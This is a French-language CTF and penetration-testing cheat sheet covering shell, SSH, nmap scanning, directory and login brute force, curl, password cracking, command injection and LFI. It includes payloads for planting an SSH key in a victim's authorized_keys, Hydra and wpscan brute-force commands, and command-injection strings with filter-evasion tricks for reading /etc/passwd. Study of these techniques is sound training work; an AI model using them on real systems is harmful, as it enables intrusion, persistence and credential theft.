Shell

ls: afficher le contenu du répertoire courant
ls -l: afficher le contenu du répertoire courant, avec des info sur les droits des fichiers
ls -l xxx: afficher les droits du fichier xxx
ls -al : afficher le contenu du répertoire courant, y compris les fichiers cachés
cat xxx: afficher le contenu du fichier xxx
pwd: répertoire courant
cd xxx : se déplacer dans le répertoire xxx
cd .. : se déplacer vers le répertoire parent
id: identifiant du compte et groupes auquel il appartient
uname -a : informations sur le serveur: quelle distribution et version du kernel.

Le système de fichier Unix part de la racine : /
Il contient généralement les répertoires:

/home/xxx : un répertoire par compte utilisateur xxx
~ : votre répertoire utilisateur
/root : le répertoire de l'administrateur
/tmp :  fichiers temporaires
/bin : commandes systèmes
/etc : fichiers de configuration du système
/var/log : logs des programmes comme le serveur web
/var/www : emplacement par défaut des fichiers des serveurs web
/etc/passwd : liste des comptes de la machine
/etc/hosts : le nom de la machine et ses alias
SSH

Les connections aux serveurs se font en ssh.
Soit avec un login/password

ssh user@hostname

Soit avec un fichier de clef privée

ssh -i id_rsa user@hostname

Sur les serveurs, il est fréquent d'identifier avec une clef privée plutôt qu'un mot de passe. Vos clefs se trouvent en :

$ ls -al ~/.ssh
total 20
drwx------  2 yolo yolo 4096 Apr  4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr  4 13:22 ..
-rw-------  1 yolo yolo 2610 Apr  4 13:47 id_rsa
-rw-r--r--  1 yolo yolo  575 Apr  4 13:47 id_rsa.pub
-rw-r--r--  1 yolo yolo 1998 Apr  1 19:45 known_hosts

La liste des clef privée permettant de se connecter à votre compte est en :

~/.ssh/authorized_keys

Pour générer une paire de clef privée/publique. Taper juste [entrée] à (empty for no passphrase) pour générer une clef privée sans mot de passe. Taper unmotdepasse [Entrée], votre clef sera chiffrée, et vous devrez taper le mot de passe à chaque utilisation.

$ ssh-keygen -t rsa -b 4096 -C yolo@yoloctf.org -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):  <=== Si vous tapez XXXX [entrée], votre clef est chiffrée avec le mot de passe XXXX qui sera à taper à chaque utilisation
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:OSHYGRwrI7LM9/8haFfVXgBlXrdHcdfEZxIv9CeWg5Q yolo@yoloctf.org
The key's randomart image is:
+---[RSA 4096]----+
|     .o.   .+=o*O|
|     o.+   .Eo+=X|
|. . + = .  ..o*=*|
|oo . o . o. ...+o|
|.o .    S.   .   |
|  . . . ..       |
|     + o .       |
|    . o . .      |
|       ...       |
+----[SHA256]-----+

Le fichier de clef privée ne doit être lisible que par son propriétaire.
Si besoin faire : chmod 600 id_rsa.

vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx  2 yolo      yolo   4096 Apr  4 13:24 .
drwxr-xr-x 27 yolo      yolo   4096 Apr  4 13:22 ..
-rw-------  1 yolo      yolo   3381 Apr  4 13:24 id_rsa
-rw-r--r--  1 yolo      yolo    742 Apr  4 13:24 id_rsa.pub

Les entêtes de clef privées sont caractéristiques

$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
7KrJLvv/4Ve+Dm5bLwhJ9BkLessiIlGgx0ju+ghI7V+Ar+qAhir5chpVSGH4YIk0J8VDbJ
...
O9mUtgl8PKUd5AQL6sMM/FaYffu7+OFQkJzv3hxyiFEQPhsAo2K55cG8S0RWCX9Jp96U54
lOXLj6MfGkfzuvvFS4pm9iTBrwKq8h7CubmNOnHe3TH3U/Mrzf6wq8MwAEpSeTWfnBGdRP
tHOBQdCIQj3JAAAAEHlvbG9AeW9sb2N0Zi5vcmcBAg==
-----END OPENSSH PRIVATE KEY-----

Entête d'une clef privée protégée par mot de passe:

$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D

NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76

La clef publique associée :

$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ== yolo@yoloctf.org
openssl rsa -in [id_rsa_sec] -out [id_rsa]

Les clefs publiques permettant de se connecter en ssh sont listées, une clef par ligne, dans le fichier.

~/.ssh/authorized_keys

Une fois sur un compte utilisateur d'un serveur, injectez votre clef publique pour avoir un accès direct en ssh.

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys

Si le répertoire n'existe pas, il suffit de le créer:

mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

Laissez tomber votre webshell, et revenez en ssh:

ssh -i id_rsa_yolo victim@target.com

Network

Une adresse IP (avec IP pour Internet Protocol) est un numéro d'identification, qui est attribuée, de façon permanente ou provisoire, à chaque périphérique relié à un réseau informatique qui utilise l'Internet Protocol. L'adresse IP est à la base du système d'acheminement des paquets de données sur Internet.

Il existe des adresses IP de version 4 sur 32 bits, et de version 6 sur 128 bits. La version 4 est actuellement la plus utilisée: elle est généralement représentée en notation décimale avec quatre nombres compris entre 0 et 255, séparés par des points, ce qui donne par exemple : 172.16.254.1

Un serveur possède autant d'adresses que de cartes réseaux. Certaines adresses ont une utilisation réservée: 127.0.0.1, appelée loopback désigne notre serveur. 0.0.0.0, désigne l'ensemble des adresses IP de notre serveur.

Sous-réseau L'adresse IP commence par le numéro du réseau suivi du numéro de l'hôte. Nous utilisons une adresse de sous-réseau sur 24 bits : le sous-réseau 10.10.10.1/24 correspond à 10.10.10 et 255 machines. Quand nous scannons 10.10.10.1/24, nous testons toutes les adresses de 10.10.10.1 à 0.10.10.255

Article sur Wikipedia: https://fr.wikipedia.org/wiki/Adresse_IP

$ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
69: eth2@if70: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:0a:0a:0b:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.10.11.3/24 brd 10.10.11.255 scope global eth2
    valid_lft forever preferred_lft forever
73: eth1@if74: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.10.10.3/24 brd 10.10.10.255 scope global eth1
    valid_lft forever preferred_lft forever
75: eth0@if76: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:0a:0a:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.10.0.2/24 brd 10.10.0.255 scope global eth0
    valid_lft forever preferred_lft forever

$ ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.0.2  netmask 255.255.255.0  broadcast 10.10.0.255
        ether 02:42:0a:0a:00:02  txqueuelen 0  (Ethernet)
        RX packets 7567  bytes 573298 (559.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7073  bytes 4046236 (3.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.3  netmask 255.255.255.0  broadcast 10.10.10.255
        ether 02:42:0a:0a:0a:03  txqueuelen 0  (Ethernet)
        RX packets 15569  bytes 2618290 (2.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20985  bytes 1976399 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.3  netmask 255.255.255.0  broadcast 10.10.11.255
        ether 02:42:0a:0a:0b:03  txqueuelen 0  (Ethernet)
        RX packets 324  bytes 36877 (36.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 814  bytes 71847 (70.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 814  bytes 71847 (70.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Network Discovery

NMap
# nmap 10.10.10.4/24
# nmap 10.10.10.1-255
NMap
# nmap 10.10.10.4
# nmap -A  10.10.10.4
# nmap -sV -sC -p- 10.10.10.4
# nmap -sU 10.10.10.4
    -sV : Attempts to determine the version of the service running on port
    -sC : Scan with default NSE scripts. Considered useful for discovery and safe
    -A  : Enables OS detection, version detection, script scanning, and traceroute
    -p- : Port scan all ports
    -sU : UDP ports (very slow)
    -oN nmap.log : output file
 
TCP
    20: ftp data
    21: ftp control
    22: ssh
    23: telnet
    25: SMTP (mail)
    37: Time protocol
    53: Bind/DNS
    69: TFTP (Trivial FTP)
    80: HTTP
    109: POP2
    110: POP3
    111: RPC Remote Procedure Call
    137: Netbios Name Service
    138: Netbios Datagram Service
    139: Netbios Session Service
    143: IMAP (mail)
    161: SNMP
    220: IMAP
    389: LDAP
    443: HTTPS
    445: MS Active Directory, SMB
    464: Kerberos
    1521: Oracle Database
    3000: Node JS
    3306: MySQL
UDP
    69: TFTP
    161: SNMP

http://www.0daysecurity.com/penetration-testing/enumeration.html 

Le fichier robots.txt, quand il existe, à la racine d'un site web, contient une liste des ressources du site qui ne sont pas censées être indexées par les robots d'indexation des moteurs de recherche.
Par convention, les robots consultent robots.txt avant d'indexer un site Web.
Ce fichier liste des répertoires, et des fichiers qui peuvent donc nous interresser.

http://10.10.10.8/robots.txt

Plus d'info : https://fr.wikipedia.org/wiki/Protocole_d%27exclusion_des_robots

Les développeurs laissent parfois des informations utiles, voire des mots de passe dans les commentaires du code. Ce sont souvent des urls,ou des champs de formulaires utilisés pour les tests.

Commentaires dans le code source HTML ou JS de la page
/* Secret code */
<!--- Secret code --->
Elements HTML cachés
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>

Nous testons méthodiquement des listes de répertoires communs et des noms de fichiers.
Par exemple: login.htm, connect.php, register.php,...

Logiciels de brute force usuels :

  • dirb : ligne de commande, à utiliser pour un check rapide avec 'common.txt'.
  • gobuster : ligne de commande, à utiliser avec 'directory-list-2.3-medium.txt'

Il est crucial de bien choisir la liste de répertoires/noms de fichiers:

  • /usr/share/wordlists/dirb/common.txt : petite liste bien construite
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt : grosse liste. Normalement couvre tous les CTF.


Dirb

Lancer un scan rapide avec dirb, qui va utiliser sa liste 'common.txt'.

dirb 10.10.10.11


Gobuster
https://github.com/OJ/gobuster

Le télécharger et l'installer en /opt

wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z

Bruteforce le site http://10.10.10.11, avec la liste directory-list-2.3-medium.txt, avec des extensions de fichier html,php,js,txt

/opt/gobuster/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.11  -l -x html,php,js,txt

Pour une url en HTTPS, ajouter l'option de ligne de commande

-k : skip HTTPS ssl verification
Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt  -f 10.10.10.157 http-get /monitoring
Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.11 http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.

Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.4 http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.

Wordpress

Format des urls

Posts : /index.php?p=22
        /index.php/2017/04/12/hello-world/
        /index.php/jobs/apply/8/
Login : /wp-login/
        /wp-login.php
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%

Fichier de config, et credentials de la base de donnée

/var/www/html/   wordpress/wp-config.php
                 wordpress/htdocs/wp-config.php
Wpscan

Wpscan connait la structure d'un site wordpress et va faire du brute force pour identifier les pages, le sposts, les users, le thème, les plugins.
Les failles de wordpress viennent essentiellement des plugins non mis à jour.

wpscan --url http:10.10.10.10/wordpress/ -e
--url : url de la page wordpress.
-e : énumeration

Brute force du login

wpscan --url http://10.10.10.10/wordpress/  -P rockyou.txt -U admin
Si vous avez les identifiants et mots de passe

Se connecter avec le client mysql.

mysql --host=HOST -u USER -p
--host=précise le nom du serveur
-u le login
-p force la saisie du mot de passe.

Dumper le contenu de la base.

show databases; -- Liste les bases de données. 
                -- La base 'information_schema' contient des informations internes à mysql ou mariadb. On peut généralement l'ignorer.
use DATABASE;
show tables;    -- Liste les tables
SELECT * FROM TABLENAME;

HTTP

Le protocole HTTP est utilisé par les navigateurs web pour obtenir des documents hébergés par les serveurs.
Le navigateur se connecte en TCP à un serveur, sur le port 80 par défaut.
La requête minimale contient une commande (ici GET), une URL (/hello.txt), une ligne vide.

GET /hello.txt

La réponse contient directement le fichier.

Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001

La version 1.1 du protocole HTTP est optimisée pour transférer des pages HTML complexes, et permet de négocier la langue et les formats d'encodages.
La requête minimale contient une commande (GET), une url (/hello.txt), la version (HTTP/1.1), le champ Host, une ligne vide.

GET /hello.txt HTTP/1.1
Host: 10.10.10.11 80

La réponse contient une entête composée de nombreux champs (server, date,...), la longueur du contenu (13), et le contenu sous forme de texte.

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13

Hello world

Les headers de la réponse sont des mines d'information sur le serveur, sa version...
Ici un serveur Apache en version 0.8.4 qui éxécute des scripts avec un interpréteur php en version 7.3.13.

HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001

Code de réponse HTTP

    1xx informational response – the request was received, continuing process
    2xx successful – the request was successfully received, understood, and accepted
        200 OK
    3xx redirection – further action needs to be taken in order to complete the request
        301 Moved Permanently => Redirection
        304 Not Modified
    4xx client error – the request contains bad syntax or cannot be fulfilled
        400 Bad request
        401 Unauthorized
        403 Forbidden
        404 Not found
    5xx server error – the server failed to fulfil an apparently valid request
        500 Internal Server Error
        502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
        503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
        504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.
    https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Télécharger un fichier :

$ wget http://localhost:8001/

Afficher le contenu de la réponse :

$ curl http://localhost:8001/

Afficher les headers, la requête et le contenu de la réponse :

$ curl -v http://localhost:8001/

Les headers HTTP sont standardisés et sont riches en information.

  • Host: Précise le site web destinataire de la requète.
  • Referer: Adresse de la page web qui a généré la requète.
  • User-Agent: Navigateur utilisé pour se connecter.
    Il est possible d'ajouter des headers personnels.

Exemple:

GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value

Pour ajouter un header avec curl : -H 'header: valeur'

$ curl -H 'X-MyHeader: value' http://localhost:8001

L'URI permet de précider une ressource, et d'ajouter des paramètres.
Le premier paramètre est identifié par un ?, les suivants par un &.
Si les paramètres contiennent des ? ou des &, ils sont encodés sous la forme %3F et %26. On parle de Percent (%) encoding.
https://fr.wikipedia.org/wiki/Percent-encoding

Exemple:

$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

Il est impératif de mettre l'URL entre ', sinon l'& est interprété par le shell.

HTTP permet d'envoyer de s'authentifier en envoyant un identifiant et un mot de passe en clair.
Ces informations sont mise sous la former login:password, puis encodées en base64, et ajoutées dans l'entête de la requête.
Authorization: Basic bG9naW46cGFzc3dvcmQ=

Exemple:

GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*

Pour envoyer une requête avec des informations d'authentification avec curl:

$ curl -u login:password http://localhost:8001/hello.txt

Pour encoder un login:password dans le terminal

$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=

Pour décoder du base64 dans le terminal

$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password

Pour tester une liste de mots de passe:

for i in `cat rockyou.txt`; do printf \n$i:; curl  -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done

Quand une page web comporte un formulaire, pour s'enregistrer ou se connecter, les champs remplis par l'utisateur sont le plus souvent envoyés dans le corps de la requête encodés avec le format 'Percent encoding', et la commande GET devient POST.
Exemple:

POST /login.php HTTP/1.1
Host: 10.10.1.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

login=James&password=007

Poster un formulaire avec curl:

$ curl -X POST -F 'username=admin' -F 'password=megapassword'  http://localhost:8001/

Les formulaires sont des objets HTML de base, définis par les balises <form> et </form>
<input name=''>: Nom des champs de type texte.
<form action='': URL a laquelle sera envoyé le formulaire. Si le champ est vide, le formulaire est envoyé à la URL.
Exemple:

<form action="/action_page.php"> 
First name:<br> 
<input type="text" name="firstname" value="Mickey"><br> 
Last name:<br> 
<input type="text" name="lastname" value="Mouse"><br><br> 
<input type="submit" value="Submit"> 
</form> 

Poster un formulaire avec curl:

$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse'  http://12.10.1.11/action_page.php

Les pages web comportant des formulaires utilisent généralement la commande POST, mais elles peuvent aussi utiliser une commande GET.
Dans ce cas, la valeur des paramètres sont directement passés comme argument dans la requète.
Ne pas oublier de mettre l'url entre 'cotes'
Exemple:

$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

Dans les formulaires élaborés, les données sont validées en Java Script avant d'être envoyées, au bon format au serveur.
JavaScript utilise le format JSon pour envoyer des structures de données.
Exemple: {key1:value1, key2:value2}.
Dans ce cas, l'entête Content-Type précise le type de données: Content-Type: application/json

Exemple:

POST / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34

{"key1":"value1", "key2":"value2"}
$ curl --header "Content-Type: application/json" -X POST --data  '{"key1":"value1", "key2":"value2"}' http://10.10.1.11/

Les formulaires permettent d'uploader des fichiers.
Des controles sur les fichiers peuvent être fait en javascript sur le client, ou sur le serveur.
On vérifie souvent la taille, le nom, l'extension du fichier, et parfois son header.
Un chapitre entier du guide est dédié à l'upload de nos shells.

Pour uploader avec curl un fichier correspondant au code HTML <input type=file name=fileToUpload>:

curl -X POST -F 'fileToUpload=@./picture.jpg' http://10.10.1.11/upload

Les cookies servent à stocker des valeurs sur le navigateur qui seront reutilisées entre deux sessions.
Ils peuvent contenir des choix de langue, couleurs, et parfois d'authentification...

Lire les cookies envoyés par le serveur et les stocker dans un cookie jar.

$ curl  -c cookies.txt http://10.10.1.11/cookies.php

Envoyer un cookie sauvegardé, et sauver la nouvelle valeur

$ curl -b cookies.txt -c cookies.txt http://10.10.1.11/cookies.php

Envoyer un cookie modifié à la main

$ curl -b 'code=1447' http://10.10.1.11/cookies.php

L'encodage base64 permet de transmettre des données en n'utilisant que des caractères affichables (lettres, chiffres, quelques signes...)

Passwords

Quand il faut choisir un mot de passe, ça tombe toujours au plus mauvais moment.
Et comme, en plus, il faut s'en souvenir... les mots de passe sont souvent basés sur des notions simples: prénom, marque, souvenir...

Heureusement, les responsables de la sécurité imposent des politiques de gestion des mots de passe, conçues pour éviter ces dérives...
Enfin, il faut le dire vite ;)
Dans 90% des cas, la majuscule est en début de mot de passe, les chiffres et le caractère spécial à la fin...
Evitez d'utiliser Vacances12! comme mot de passe...

En décembre 2009, RockYou, une société basée en Californie, qui permettait de s'authentifier sur des application facebook sans avoir à saisir de mots de passe, s'est fait hacker...

La base de données contenant les noms et mots de passe en clair de ses 32 millions de clients a été volée puis rendue publique.
Une analyse des mots de passe à montré que les deux tiers des mots de passe faisaient moins de 6 caractères, et que le mot de passe le plus utilisé était 123456.
Cette liste des mots de passes, triés par fréquence est fréquement utilisée dans les CTF.
Sur Kali, le fichier, zippé, est rangé en : /usr/share/wordlists/rockyou.zip
Dans le terminal, pour prendre de bonnes habitudes, le fichier est rangé en : /usr/share/wordlists/rockyou.txt

fichier de mots de passe Rockyou: rockyou.txt

Pour savoir si ton adresse email est présente dans une fuite de donnée, tu peux utiliser le service de Firefox Monitor.
https://monitor.firefox.com/

Un professionnel ne garde jamais un mot de passe en clair.
Il enregistre un Hash.

Un Hash est généré par une fonction mathématique à partir du mot de passe de l'utilisateur.
Quand l'utilisateur saisit son mot de passe, le logiciel calcule le Hash et le transmet au serveur qui le compare avec le Hash qu'il a stocké. Si les deux Hash coincident, alors l'utilisateur connait le mot de passe, et est authentifié.
Si un curieux sniffe les messages, il ne verra pas le mot de passe, juste le Hash.
Connaissant le Hash, il est compliqué de retrouver le mot de passe.

Pour calculer un Hash du mot de passe '123456' avec la fonction MD5, utilise la commande suivante dans le terminal :
$ printf '123456' | md5sum
123456 donnera toujours le même Hash MD5.

La fonction MD5 a été très utilisée par le passé, mais la puissance des processeurs actuels impose l'utilisation de fonctions plus complexes à craquer comme SHA1 ou SHA256.
La taille du Hash augmente avec la complexité de l'algorithme.

printf '123456' | sha1sum
7c4a8d09ca3762af61e59520943dc26494f8941b

printf '123456' | sha256sum
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92

printf '123456' | sha512sum

Note: on utilise 'printf' et pas 'echo' pour un calcul de Hash. Echo ajoute un saut de ligne qui est pris en compte par le Hash.

Les Hash plus longs sont plus compliqués à casser, mais il est toujours possible de pré-calculer les valeurs de listes comme RockYou.

Pour éviter le précalcul des Hash, nous utilisons des Salts.
Ce sont des valeurs supplémentaires que l'on ajoute au début du mot de passe avant de calculer le Hash.
La vérification du Hash reste rapide, mais les tables pré-calculées deviennent inutiles, il faut les recalculer pour chaque Salt.

Calculer le hash de 123456 avec le Salt ABCDE et la fonction de Hash MD5 en python:

$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"

Avec openssl: -1: MD5 password, -5:SHA256 and -6:SHA512

$ openssl passwd -1 -salt ABCDE  123456

Le résultat est : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1
Il est composé de 3 champs :
$1 : la fonction utilisée est MD5 ($5 SHA256, $6 SHA512)
$ABCDE : le Salt
$Kn5RIMYO1QXy7GtJysNSC1 : le Hash calculé en ajoutant le Salt

Pour casser des Hash Online:</br>
- Crackstation : https://crackstation.net/

Le fichier /etc/passwd est un fichier texte dont chaque ligne décrit un compte d'utilisateur.
Chaque ligne se compose de sept champs séparés par un deux-points.
Voici un exemple d'un enregistrement :

jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh

Les champs, de gauche à droite, sont :

  • jsmith : le nom de l'utilisateur (login name).
  • x : les hash de mots de passe sont stockés, dans le fichier /etc/shadow qui n'est lisible que par le compte 'root'. Un * empêche les connexions d'un compte tout en conservant son nom d'utilisateur. Dans les premières version d'unix, ce champ contenait le hachage cryptographique du mot de passe de l'utilisateur.
  • 1001 : l'identifiant d'utilisateur.
  • 1000 : l'identifiant de groupe. Un nombre qui identifie le groupe principal de l'utilisateur.
  • Joe Smith,Room 1007,(234)555-8910,(234)5550044,email : le champ Gecos. Un commentaire qui décrit la personne ou le compte. Généralement, il s'agit d'un ensemble de valeurs séparées par des virgules, fournissant le nom complet de l'utilisateur et ses coordonnées.
  • /home/jsmith : le chemin vers le répertoire personnel de l'utilisateur.
  • /bin/sh : le programme qui est lancé chaque fois que l'utilisateur se connecte au système.

Les premières lignes du fichier sont généralement des comptes systèmes.
Les comptes utilisateurs sont souvent décrits dans les dernière lignes.
Ce fichier permet d'identifier rapidement les utlisateurs, les applications (tomcat, mysql, www_data,...), leurs répertoires de travail, et s'ils ont ou non accès à un shell.
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Passwd

John The ripper est l'outil idéal pour vérifier si un Hash a été généré à partir d'un mot de passe présent dans une liste.

Enregistrer le Hash dans le fichier pass.txt
$ echo '$1$1337$WmteYFHyEYyx2MDVXln7Y1' >pass.txt

Utiliser John the ripper pour casser le mot de passe en se servant de la liste par défaut:
$ john pass.txt

Utiliser John the ripper pour casser le mot de passe en se servant de la liste de mots de passe interne de John:
$ john pass.txt

Utiliser John the ripper pour casser le mot de passe en se servant de la liste Rockyou:
$ john pass.txt --wordlist=/etc/share/wordlists/rockyou.txt

John n'affiche plus les mots de passe qu'il a déjà cassé.
Pour afficher ces mots de passe:
$ john pass.txt --show

Il existe plusieurs version de John sur Internet, la version officielle, et des version enrichies.

Bruteforcer /etc/shadows avec John:

$ echo '$6$1337$WmteYFHyEYyx2MDVXln7Y1' >pass.txt  
$ john pass.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john pass.txt --show 

Bruteforcer un hash My SQL avec John:

mysql -u dbuser -p drupaldb 
 show databases; 
 show tables; 
 select name, pass from users; 
 exit 
 -------+---------------------------------------------------------+ 
 | name  | pass                                                    | 
 +-------+---------------------------------------------------------+ 
 |       |                                                         | 
 | admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR | 
 | Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg | 
 | ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi | 
 +-------+---------------------------------------------------------+ 

echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt 
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john hash.txt --show 

Bruteforcer un id_rsa chiffré (identifiant protégé par mot de passe servant à se connecter en ssh) avec John:

Entête de la clef RSA:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D

NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
$ python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash $ john hash.txt --show

Injection de commandes Shell

L'injection de commande Shell est possible quand un programme utilise une donnée, entrée par l'utilisateur, sans la filtrer, comme argument d'une commande shell.

Par exemple: un formulaire permet de saisir son nom et l'afficher. Le code coté serveur va ressembler à:

system ('echo '.$NAME);

Si nous saisissons:

YOLO; cat /etc/password;

Le serveur va enchainer les deux commandes en executant:

system ('echo YOLO; cat /etc/password;'); 

Nous allons récupérer le contenu du fichier passwd.

Avec une injection de commande nous avons la main sur le serveur. Nous pouvons récupérer des informations sur le serveur (uname -a), recupérer des noms de comptes (cat /etc/passwd), récupérer les fichiers de config du serveur web, lancer un reverse shell...

Utiliser les séparateurs de commandes: ; && | ||

echo YOLO; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd    Seulement si la première commande est en echec

Il est possible de forcer l'execution d'une commande avec ` $ et {

echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}

Si un filtre retire les espaces, il est toujours possible de lancer lancer des commandes:

cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X

Si un filtre recherche une liste de commandes, il est toujours possible de le contourner: simple quote, double quote, backslash et slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami

Et si un nom de fichier est filtré, il est possible de multiplier les / Filtre sur cat et /etc/passwd

c\at /etc////////passwd

Local File Inclusion (LFI)

LFI

De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques. Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.

L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur. A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.

Nous allons remplacer 'login.php' par le nom d'un autre fichier, qui sera chargé à la place.

http://10.10.10.11/index.php?page=/etc/password

